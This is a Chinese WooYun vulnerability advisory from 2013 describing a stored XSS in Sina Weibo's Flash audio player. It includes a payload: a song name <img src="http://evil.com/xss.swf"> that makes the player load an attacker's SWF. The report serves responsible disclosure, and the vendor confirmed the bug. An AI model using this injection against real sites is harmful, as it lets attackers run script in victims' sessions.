Flash应用安全系列[6]–新浪微博蠕虫威胁

漏洞概要

缺陷编号:WooYun-2013-017699

漏洞标题:Flash应用安全系列[6]--新浪微博蠕虫威胁

相关厂商:新浪微博

漏洞作者:p.z

提交时间:2013-01-22 22:19

公开时间:2013-03-08 22:20

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2013-01-22: 细节已通知厂商并且等待厂商处理中
2013-01-22: 厂商已经确认,细节仅向厂商公开
2013-02-01: 细节向核心白帽子及相关领域专家公开
2013-02-11: 细节向普通白帽子公开
2013-02-21: 细节向实习白帽子公开
2013-03-08: 细节向公众公开

简要描述:

新浪微博在渲染微博内容时,可能导致存储型跨站攻击。

详细说明:

我们首先看下之前的几个新浪微博与Flash相关的存储型跨站WooYun: sina微薄存储型跨站WooYun: sina微博存储型跨站ⅡWooYun: sina微博存储型跨站Ⅲ上面的几个案例的基本思路就是利用allowscriptaccess=always这一条件,使flash加载我们自己的swf文件,达到跨站的目的,上面几个case现在已经修补了,但是否就再也没有相似的案例了呢?与前几个关注视频播放不同,这回我们将目光投向了音频播放,在用windows系统浏览新浪微博时,音频还是通过swf来进行播放的。我们发现,在播放新浪音乐库、songtaste歌曲时,swf播放器的allowscriptaccess还是always。由于用户可以向songtaste提交歌曲,因此我们选择播放songtaste的歌曲做测试现在我们需要思考一个问题,如何使那个音乐播放的swf文件再载入一个我们指定地址的swf文件。因为这是一个音频播放器,通常并不需要像视频播放器一样载入一个skin.swf或者一个thumbnail,而且在这个case里,我们可以控制的变量少之又少,只有歌曲名字、歌手名字等几个文本类的信息,是否可以通过这里做点文章呢。我们先看看这些文本类的信息是怎么输出的。反编译swf文件(music.sina.com.cn/yueku/js/mwp/feedPlayer.swf?vers=3),关键的代码逻辑如下:

我们看到,从loaderInfo对象传入的song值最后在一个名为txt_songName的文本框,以htmlText的方式输出了。不要以为这里的htmlText就等同于HTML文本语言了。Adobe的帮助手册上写的很明确,Flash Player支持部分标准 HTML 标签,包括如下:

值得一提的是其中的图像标签,adobe的帮助手册是这么说的<img> 标签允许您将外部图像文件(JPEG、GIF、PNG)、SWF 文件和影片剪辑嵌入到文本字段中和 TextArea 组件实例中。也就是说,我们可以通过<img src="http://evil.com/xss.swf ">的形式嵌入一个swf文件。Cool?现在我们要做的,就是去songtaste.com提交一个名字为 <img src="http://evil.com/xss.swf "> 歌曲,然后在发微博处引用这个songtaste链接,等着别人点击播放这个音乐文件。

漏洞证明:

Songtaste: http://www.songtaste.com/song/3235631/

修复方案:

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-01-22 23:51

厂商回复:

感谢关注新浪安全。

最新状态:

暂无

评价

  1. 2010-01-01 00:00 鬼魅羊羔 白帽子 | Rank:274 漏洞数:36)

    哇赛赛赛赛赛赛

  2. 2010-01-01 00:00 心伤的瘦子 白帽子 | Rank:147 漏洞数:21)

    那日,见一大牛连续出招,pia, pia,pia,pia,pia ...

  3. 2010-01-01 00:00 小胖子 白帽子 | Rank:1429 漏洞数:107)

    又是连招。。。。

  4. 2010-01-01 00:00 苏南同学 白帽子 | Rank:41 漏洞数:5)

    牛,学习了